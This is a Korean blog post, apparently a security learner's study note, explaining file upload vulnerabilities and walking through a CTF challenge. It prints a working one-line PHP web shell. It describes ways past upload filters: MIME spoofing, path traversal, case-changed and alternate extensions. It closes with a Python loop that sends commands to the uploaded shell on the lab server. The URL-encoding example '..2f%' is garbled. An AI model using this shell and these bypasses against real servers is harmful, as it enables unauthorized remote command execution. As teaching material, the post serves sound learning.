본문 바로가기

웹 해킹

파일 업로드 취약점, 문제풀이

우리가 사용하는 웹사이트에는 파일 업로드기능이 구현되어있다.

흔히 있는 프로필 사진 기능부터 첨부파일을 업로드 하는 등의 기능들

이 기능에도 취약점이 존재하며 활용을 어떻게 하냐에 따라 서버를 마음대로 누비고 다닐수도 있게된다.

흔히 있는 파일 업로드 기능

 

이 파일 업로드 취약점을 활용하여 할 수 있는 공격들은 다음과 같다.

 

1. 서버측 실행파일을 업로드하여 웹 쉘 실행

2. Phishing 페이지 업로드

3. Deface 공격

4. XSS 공격 (Stored XSS)

5. Dos (Denial-of-Service) 공격

 

이 중 < 서버측 실행파일을 업로드하여 웹 쉘 실행 > 에 대해 다뤄 보려고한다.

 

시나리오 

: 각 웹 서버들은 php, jsp, asp 등의 엔진으로 구현되어있다.

 

1. 이 중 php 서버라고 가정, 공격자는 해당 서버에 웹 쉘을 실행할 수 있는 코드가 담겨있는 php파일을 업로드한다.

2. 공격자는 해당 php 경로를 찾아 요청한다.

3. 서버는 .php 확장자의 파일을 인식하기 때문에 서버측에서 실행하여 우리에게 응답을 해주게된다.

4. 서버 웹 쉘을 실행하게 된다.

 

파일 업로드가 구현되어있는 직접 만든 페이지에서 테스트를 해보았다.

//webshell.php
<?php
    echo system($_GET['cmd']);
?>

위와 같이 코딩되어있는 webshell.php를 준비해두었다.

업로드 시나리오 1

그대로 글 작성을 누르게 되면 서버에 webshell.php가 업로드 된다. 그 후 업로드 된 파일을 요청.

실제 요청 후 빈 화면 응답

우리는 실제 코드에서 GET방식으로 명령어를 파라미터로 주고받게 구현해 주었다. 그렇기때문에 명령어를 담아 보내주게되면

명령어 출력화면

이러한 방식으로 공격자는 해당 서버 웹 쉘 실행은 성공하게 된다.


 

실제 파일 업로드 약한 대응과 우회 방법들

 

파일 업로드 요청

파일 업로드를 요청하게 되면 위 그림과 같은 요청이 발생하게 된다. 이 그림을 보고 대응 방법과 우회 방법을 설명하려 한다.

 

1. Content-Type 제한 (MIME)

> 세번째 줄을 보면 Content-Type이 존재하는걸 볼 수 있다. 실제로 이 Content-Type을 제한해 두기도 한다.

예시)

<?php
	if(isset($_POST['Upload'])){
    	$uploaded_type=$_FILES['uploaded']['type'];
        
        if($uploaded_type=="image/jpeg"){
        	//통과
        }
        else{
        	//허용하지않음
        }
    }
    
?>

위와 같이 코딩을 해주게 되면 화이트리스트 방식으로 image/jpeg가 아니면 통과 되지 않게된다.

 

우회 방법

> Brup Suite을 사용해 화이트리스트에 추가된 방식으로 바꿔치기 해주면 된다.

Burp Suite을 사용, 컨텐트 타입 변조

 

2. 해당 Direcotry내의 모든 파일이 실행되지 않게 설정

> 어떤 코딩을 하여도 해당 Directory내의 파일은 그대로 출력되게 설정해두는 경우도있다.

 

우회 방법

> 파일 저장 경로 변조.

파일 저장 경로 변조

위 그림과 같이 변조를 해주게 되면 상위 Directory에 저장이 되게된다.

실제 경우 ../를 사용하면 안되고 URL로 인코딩해주어 전달하여야 한다.

../ -> ..2f%

 

3. 확장자 제한

> php 서버를 가정했을때 [.php] 확장자의 업로드를 제한한다. (블랙리스트 방식)

 

우회 방법

> 다른 확장자를 사용하여 우회, 대소문자 변경

php서버의 경우 pHP, pHp, PHp, PhP 와 같이 확장자를 변경해줄수도 있으며

.phtml, .php3, .php5 등의 확장자를 사용하여 우회가 가능하다.

 

 4. 정상적인 이미지를 Hex editor를 사용하여 웹 쉘 문구 삽입

> 해당 경우 파일 시그니처를 그대로 사용하기 때문에 서버에서는 파일 구조를 읽고 이미지 파일로 인식하여 우회가 가능한 경우도 있다.

 


실습문제 풀이

이번주는 파일 업로드 취약점에 관한 문제 2개가 주어졌다.

두번째 문제는 첫번째 문제의 한단계 더 나아간 문제이므로 두문제중 중 2번문제에 대한 풀이를 적어보겠다.

 

해당 문제의 웹 서버는 php를 사용하는 서버이고, 내가 해야 할 일은 웹 서버내의 flag.txt를 찾아내는 문제이다.

따라서 해당 서버에 웹 쉘 코드가 담긴 php파일을 업로드 해준뒤 업로드 한 파일을 불러오도록 하여야한다.

 

우선 로그인후 게시판에 들어가 업로드를 해보았다.

 

업로드할 수 없다는 팝업창이 출력된다. 코드를 살펴보면

 

자바 스크립트 내에서 서버로 요청을 보내기전에 확장자를 읽어와 화이트리스트( allowedExtensions ) 값에 포함 되지 않았을 시 팝업창과 함께 false값을 보내주어 차단하는 코드인걸로 파악이 된다.

> 'png파일로 확장자를 변경하여 올려 스크립트를 속인 후 php로 바꿔주어 서버로 업로드 하면 되지않을까?' 라는 생각

 

그대로 실행해보았다.

 

스크립트를 넘어 요청이 넘어간것을 확인, webshell.png -> webshell.php 로 변경

아까와는 다른 응답이 보인다. 글 작성에는 성공하였지만 여전히 업로드 할 수 없는 파일이 탐지되었다는 팝업이 출력된다.

하지만 서버에서 alert 팝업만 보내주었지, 실제 파일 업로드 요청을 막지 않고 이상없이 동작한것 같아 테스트를 해보았다.

 

(***게시판 View에서 실제 파일이 보이지 않아 임의의 img파일 업로드 후 경로 탐색후 webshell.php 요청)

webshell.php 요청 화면

쉘 명령어를 입력하였을때 이상없이 작동하는 것을 알 수 있다. 이제 문제를 이어나가도 전혀 문제될것은 없지만 그 전에 대소문자를 변경하여 우회하는 경우에는 업로드 할 수 없는 파일이 탐지되었다는 팝업이 출력되는지 확인해보고싶어 webshell.phP 로 변경해준 후 업로드를 해보았다.

대소문자 변경 우회

팝업창이 출력되지 않는걸 보니 실제 정석적인 풀이방법은 대소문자를 이용하여 우회하는 방법인것 같다, 문제를 이어나가자

처음 문제를 풀고 flag.txt를 얻어내는 과정에서는 Burp Suite를 사용하였지만 이번에는 파이썬으로 요청 응답을 받아오는 방법을 사용해보았다.

> 파이썬 코드

import requests
header = {'Cookie': 'session값, PHPSESSID값'}

while 1:
    cmd = input('명령어를 입력하세요 : ')
    TARGET = "http://ctf.segfaulthub.com:7979/webshell_2/files/jdleaf/webshell.phP?cmd="+cmd
    rep = requests.get(TARGET,headers=header)
    print(rep.text)

flag 획득


 

'웹 해킹' 카테고리의 다른 글

File uplaod와 File Include 취약점  (1) 2025.07.20
리버스 쉘  (0) 2025.07.16
CSRF 대응방법, SOP와 CORS  (2) 2025.07.09
CSRF와 XSS, 문제풀이  (0) 2025.06.28
[XSS] 추가 정리  (0) 2025.06.26